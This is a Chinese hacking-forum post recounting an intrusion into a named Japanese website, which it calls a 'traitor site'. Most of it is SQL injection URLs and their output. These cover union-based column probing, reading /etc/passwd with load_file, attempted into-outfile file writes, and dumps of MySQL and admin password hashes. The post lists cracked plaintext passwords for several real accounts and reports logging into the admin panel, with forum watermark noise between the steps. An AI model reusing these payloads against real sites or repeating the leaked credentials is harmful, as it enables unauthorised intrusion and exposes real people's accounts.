原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

8 j8 F- e4 _$ ^
) ?+ c2 h1 R% i: k  x1 o0x01. 检测 www.zuaa.jp 收集数据

6 b  \0 z- [+ N6 ^8 {* L# s$ {7 w
" w  x  G, z: o6 ?  k6 Ewhatweb


$ d6 k" H9 g, ]; }! C- Y8 R8 E利用NMAP扫描
8 r9 X+ D9 x8 J  P, K/ j* ~4 m
, t, Q' ~% J8 M+ |% r( y9 }中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390

9 c3 C5 O) A4 U4 p# @+ F, {
0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

order by 28报错，order by 27正常
6 I. A. y7 R+ m/ O
0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
+ _, `3 O! v* ~; K6 n" Z8 Q添加到 27 时正常显示

& y: u# U) I' _中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x05. info:
* o  x9 Q3 F1 @3 V) q8 ~http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
database:    openpne
version:      4.1.22
os:             portbld-freebsd5.4

0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
: J* F+ A$ J0 L" T1 }http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

. Y0 h  o' V7 M0 `通过工具转换

/ w: h- k; o+ _, p3 z6 G3 |0 |6 z中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

; s* p3 C/ |/ l0 U7 b) P$ A% C# e0x07. 利用 into outfile
; e' k9 N8 q& @全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
* b; C4 ^2 T8 `; Q6 p. W4 d9 d
3 I6 F# b9 x  F5 N- U3 Fhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

页面显示“MDB2 Error:syntax error”

0x08. 利用 mysql 4.1
猜常规表名，字段未果 工具 sqlmap
" M$ I7 Z* n; J" p中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
1 s1 j  D% h7 i9 Y0 ~
1 ~+ g7 {5 t' G/ z. Y2 j! s/ ~9 W4 w
' `" v! }+ s: N( \
5 B$ w& {4 L0 C  U  S; l6 ^, v0x09. 查找后台
3 w! v1 w0 ]9 e' P利用 现有的各种 后台工具尝试都不行

$ e* A' k4 _) Z0x10.  MySL外联方法
. j, c" i, W/ ?* L# Y# I5 Z从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
$ M! t' k% ^( Y2 n+ B. ^! l1 N  yhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

0 y  l! L' w, o/ x) [2 `' n- B8 Z这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
- {* x  M2 f; B2 ~" f5 achen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
9 Q% K$ P% O5 b9 eopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
0 B2 z& D/ d3 Q# B: W工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知


; P: v; S* `! U( o) d0x11. 网站突破
& y% s' v: }) {$ X发现网站的源程序 openpne, google 下载 openpne 源码
; w. @  f' o0 _( T# s7 {
: {2 f( d! k# I; f+ u4 \: z* p
9 Y6 G% q8 Q' R2 x3 N0 ?  P* {% [0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login

表名 (c_admin_user) ，字段名（username,password）
6 {! f7 o+ Z+ w6 L; lhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
' d6 Y+ P+ F) P8 Y; e* ?
! Y% c( I: i" T& }解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
zuaajp:c0923ec5857796a393da99905008c176,          zju1897
' r* C% H9 p3 o( j6 |! O
8 B* X2 P$ \' L) o1 ]) L中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台


5 A$ X& }3 _2 Y# d
' ^4 t( d. `: v6 T! Q# h5 n0 B3 T' }0x14. 小结
& ]* r3 l! |1 S4 S利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
4 P' r  {' i1 ^' L4 c- E------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
8 j' j3 ^% J) j" n% N7 Y9 T4 c
5 y! l, H" |) u最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的